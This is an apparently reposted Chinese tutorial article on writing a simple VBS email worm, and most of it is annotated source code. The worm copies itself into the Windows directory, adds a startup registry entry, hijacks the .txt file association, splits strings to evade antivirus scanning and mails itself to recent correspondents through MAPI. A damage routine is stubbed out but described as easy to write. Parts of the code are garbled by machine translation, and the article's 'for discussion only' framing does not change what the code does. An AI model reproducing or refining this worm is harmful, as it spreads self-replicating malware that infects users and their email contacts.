如何编写简单的VBS病毒

电脑杂谈  发布时间:2020-10-11 08:05:06  来源:网络整理

电脑病毒是怎么编写的_电脑病毒是怎么编写的

如何编写VBS蠕虫

摘要:本文重点介绍如何编写简单的VBS蠕虫,并介绍一些与VBS相关的知识。

关键字:VBS蠕虫对象

第0部分:写在前面

写蠕虫摧毁它不是目的,技术本身就是目的。

本文仅用于技术介绍和讨论。

第1部分:蠕虫和传统病毒的区别

当我打算撰写本文时,我上网查找了一些信息。根据习惯,要编写主题,必须首先定义所写内容,即蠕虫。有趣的是,我在互联网上看到了一些不同的看法。

我看到的第一件事是在Kingsoft Internet Security网站上的一篇文章写道:计算机蠕虫是一个自包含的程序(或一组程序),可以将其自身功能或其中某些部分的副本传播到其他(通常通过网络连接);请注意,蠕虫与病毒不同,不需要将其自身附加到主机程序。然后我看到了新浪的一篇文章:据有关专家介绍,蠕虫是一种计算机病毒。它的传输机制是使用Internet复制和传播,而传输方式是通过Internet和电子邮件。

很显然,前一篇文章认为蠕虫不是病毒,而后者则认为蠕虫是一种病毒。我不是书呆子,也不想花太多时间在概念上。但是,这两种观点之间的差异无疑显示出一件事:蠕虫(只是一个名字,并没有真正算作病毒)和传统的或更多种病毒已经存在。完全不同。

根据我的经验,以脚本为代表的蠕虫至少在三个方面与传统病毒不同。首先是写作困难。在传统意义上,病毒会附加到其他正常程序中,即存在一个宿主程序,该程序需要编写病毒并且非常熟悉PE格式。相比之下,蠕虫病毒更容易编写,甚至可以编写特殊的脚本病毒程序。第二是传染性增加。蠕虫随着Internet的发展而传播。在互联网的帮助下,蠕虫的传染性远远超出了传统病毒的范围。最后,删除病毒相对容易。以脚本病毒为代表的蠕虫病毒的源代码对于获取非常有用,即使将其加密也无法获取源代码。许多著名的蠕虫(如欢乐时光)均未加密。

以上特征对于那些反病毒软件公司来说无疑是个好消息。蠕虫的扩散为它们提供了巨大的客户基础,并且易于访问源代码使它们更容易杀死病毒。

第2部分:知识准备

由于本文介绍了如何使用VBS编写病毒,因此在正式提供代码之前有必要准备一些知识。在这一部分,我将介绍一些对象或组件,这些对象或组件将在以后提供的代码中使用,关于病毒的结构分析,我将在提供源代码之后进行处理。

在WSH支持的所有对象中,您会发现FileSystemObject(FileSystemObject)最有用。在VBS中,只需一行SetFso = Createobject(“ Scripting.FileSystemObject”)来邀请它成为一个好助手。它简要介绍了它支持的一些方法。 FileExsits()用于判断文件是否存在,如果存在则返回True,否则返回False;否则返回false。 GetSpecialFolder()可以根据不同的参数获取一些与系统相关的目录,例如GetSpecialFolder(0)返回Windows目录; GetFile是文件系统中的对象,返回文件中的文件; Copy实现文件的副本。

Shell对象也是非常有用的东西。它的RegRead和RegWrite方法可以实现对注册表的直接读取和写入。方向对象等效于PERL关联数组,该对象存储数据键和项对。该项目可以是任何形式的数据,并存储在数组中。每个项目都与唯一键相关联。该键用于获取单个项,通常是整数或字符串,但也可以是数组以外的任何类型。例如:

Dim d'创建一个变量。

设置d = CreateObject(“ Scripting.Dictionary”)

d。添加“ a”,“雅典”“添加一些关键字和项目。

d。添加“ b”,“贝尔格莱德”

d。添加“ c”,“开罗”

最后要介绍的是MAPISession对象和MAPIMessages对象。这两个对象用于获取当前OE配置文件并通过以下代码发送电子邮件。 MAPISession对象用于登录和建立MAPI会话,也可以用于退出MAPI会话。 MAPIMessages对象可以轻松发送,接收和管理消息(即电子邮件)。 MAPISession的SignOn方法的作用是将用户登录到UserName和Password属性指定的帐户。在安装OE的计算机上,“用户名”和“密码”实际上是OE中的默认配置。我将在代码中评论MAPIMessages的几个属性。

第3部分:VBS病毒源代码和注释

错误恢复时的下一步”对于避免发生错误时的弹出提示非常重要

Dim Fso,WinPath'WinPath存储系统安装目录

Set Fso = Createobject(“ Scripting。”&“ FileSys”&“ temObject”)'创建FileSystemObject对象

WinPath = GetWindowsPath'获取系统的安装目录

电脑病毒是怎么编写的_电脑病毒是怎么编写的

Main'调用主执行子例程

Set Fso = Nothing

次要主要

即时阅读,RegPath

如果Day(Date)= 13 ThenDoSomeBadThings'如果是13日,病毒将爆发

CopySelfToWindowsPath'将您自己复制到系统安装目录

CopyWscriptToSystem32'将Wscript.exe复制到System32目录

ModifyReg'修改注册表

RegPath =“ HKCU \ SoftWare \ Microsoft \”''这里的注册表存储了上次发送电子邮件的日期

Read = ReadReg(RegPath)

IfRead =“” ThenRead =“ 00-1-1”'如果未发送电子邮件

IfDateDiff(“ d”,Read,Date)> = 5然后'如果距离上次发送已超过5天

SendEmail'发送电子邮件

WriteRegRegPath,Date'将此发送日期写入注册表

如果结束

结束子

Sub CopyWscriptToSystem32

'此子例程将Wscript复制到Sytem32目录

“为什么会在后面解释

如果Fso.FileExists(WinPath&“ \ Wscript.exe”)然后

Fso.GetFile(WinPath&“ \ Wscript.exe”)。Copy(WinPath&“ \ System32 \ Wscript.exe”)

'这行代码实际上有两个动作

'首先,执行GetFile方法以获取文件

'然后执行Copy方法将获取的文件复制到指定目录

如果结束

结束子

函数GetWindowsPath()

电脑病毒是怎么编写的_电脑病毒是怎么编写的

'此函数获取Windows目录

GetWindowsPath = Fso.GetSPecialFolder(0)

结束功能

Sub CopySelfToWindowsPath()

'此函数将自身复制到Windows目录,并将其命名为Windows.htm.vbs

IfFso.FileExists(WinPath&“ \ Windows.htm.vbs”)然后'如果文件已存在,请不要复制

其他

Fso.GetFile(WScript.ScriptFullname).Copy(WinPath&“ \ Windows.htm.vbs”)

'WScript.ScriptFullname是当前脚本的完整路径和文件名

'将这行代码复制到系统安装目录

如果结束

结束子

子ModifyReg

'修改注册表

DimRegPath

RegPath =“ HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Windows”

WriteRegRegPath,WinPath和“ \ Windows.htm.vbs”'在启动时添加自己

'修改下面的.txt文件关联

RegPath =“ HKCR \ .txt \”

WriteRegRegPath,“ txtfile”

RegPath =“ HKCR \ txtfile \ Shell \ Open \ command \”

WriteRegRegPath,WinPath和“ \ System32 \ WScript.exe”&WinPath&“ \ Windows.htm.vbs”

结束子

Sub WriteReg(Path,value)

'此子例程将值写入注册表的路径

SetOperateReg = WScript.CreateObject(“ WSc”&“ ript.Sh”&“ ell”)'创建Shell对象

OperateReg.RegWritePath,值“写入注册表”

电脑病毒是怎么编写的_电脑病毒是怎么编写的

SetOperateReg =没有任何释放对象

结束子

函数ReadReg(Path)

'此函数返回注册表中读取内容的路径

SetOperateReg = WScript.CreateObject(“ WSc”&“ ript.Sh”&“ ell”)

ReadReg = OperateReg.RegRead(Path)

设置OperateReg =什么都没有

结束功能

Sub DoSomeBadThings

“一遍又一遍地思考,但仍未编写这部分破损代码

'一方面,本文仅用于技术讨论

'另一方面,使用文件系统对象,这部分代码实际上很容易编写

结束子

Sub SendEmail()

“用于发送邮件的子例程

Dim Dic,MAPISess,MAPIMess,a,最小,计数

设置Dic = CreateObject(“ Scripting.Dictionary”)

设置MAPISess = CreateObject(“ MSMAPI.MAPISession”)'创建MAPISession对象

设置MAPIMess = CreateObject(“ MSMAPI.MAPIMessages”)'创建MAPIMessages对象

MAPISess.SignOn'登录

MAPIMess.SessionID = MAPISess.SessionID

MAPIMess.Fetch'从收件箱中的选定邮件(Email)创建邮件集合

Count = MAPIMess.MsgCount'已接收消息(电子邮件)的数量

'以下代码实现了对最近5封电子邮件的回复。

如果Count> 5Then Min = Count-5其他Min = 0

对于i = Count-1至Min Step-1

MAPIMess.MsgIndex = i

电脑病毒是怎么编写的_电脑病毒是怎么编写的

a = MAPIMess.MsgOrigAddress

IfDic.Item(a)=“”然后

Dic.Item(a)= MAPIMess.MsgSubject

如果结束

下一步

对于每m个骰子键

MAPIMess.Compose'写一条消息

MAPIMess.MsgSubject =“回复:”&Dic.Item(m)'主题

MAPIMess.RecipAddress =收件人地址

MAPIMess.AttachmentPathName = WinPath&“ \ Windows.htm.vbs”'添加附件(即病毒本身)

MAPIMess。发送发送

下一步

MAPISess.SignOff'退出

'作为一种良好的编程习惯,以下代码将释放对象

设置MAPISess = Nothing

设置MAPIMess = Nothing

Set Dic = Nothing

结束子

第4部分:病毒的结构和一些注意事项

该病毒的结构非常清晰,由以下部分组成:1)自我复制部分,即GetWindowsPath()。很简单,无话可说。2)修改注册表部分,即ModifyReg。修改注册表的目的是在计算机启动并且用户尝试打开txt文件时自动运行病毒。3)发送电子邮件的部分,即SendEmail。关于这部分没有什么可说的,病毒将自己放入附件中并发送出去。4)情节部分。正如我在第3部分的代码注释中提到的那样,我没有编写代码,但这是病毒的重要组成部分。

该病毒的运行过程也非常清楚。首先检查是否是13号。如果是,那将会发生;然后检查系统安装目录中是否存在其自身的副本。如果没有,请复制自己;然后修改注册表以确保可以触发病毒,最后检查是上次发送电子邮件的时间。如果超过5天,则将发送一封带有附件副本的电子邮件。

代码中仍有一些令人费解的做法,请在下面说明:

首先查看CopyWscriptToSystem32子例程。该子例程的功能非常简单,它是检查WinPath中是否存在Wscript.exe,如果存在,则将其复制到System32目录中。就是这种情况,Wscript.exe是要运行VBS文件的,

对于Windows 2000和Windows XP系统,此文件位于System32目录中,而Windows98位于系统安装目录中。因此,为了方便起见,如果是Windows 98,请将副本复制到System32。

再次查看ModifyReg:WriteRegRegPath,“ txtfile”。在这里,.txt文件定义为“ txtfile”,目的是以后修改WriteRegRegPath,WinPath和“ \ System32 \ WScript.exe”&WinPath&“ \ Windows.htm.vbs”,因为它确实可以工作可以确保txt在打开文件时会运行病毒。

还有一个类似Set Fso = Createobject(“ Scripting。”&“ FileSys”&“ temObject”)的代码,该字符串分隔并写入字符串,以避免某些防病毒软件进行静态搜索。

最后一个在SendEmail中。为了避免发送过多的电子邮件,仅发送收件箱中最近5封电子邮件的地址。

应该说这是一个非常简单的VBS病毒。由于空间原因,它在很多地方都不是完美的。首先是传染性不够强,仅通过发送电子邮件进行传播,而不会感染本地文件。第二是隐蔽性不足,可以通过普通的防病毒软件轻松检测到。如果允许代码长度更长,我将添加加密;第三,发送电子邮件只能针对OE用户。如果是OL或Foxmail,则此病毒的传播将变得困难。

第5部分:结论

这只是最简单的病毒之一,编写一些真正具有挑战性的病毒需要非常深入的系统和编译基础。俗话说,路漫长。让我们以科技的名义一起努力学习!


本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/shouji/article-325292-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      热点图片
      拼命载入中...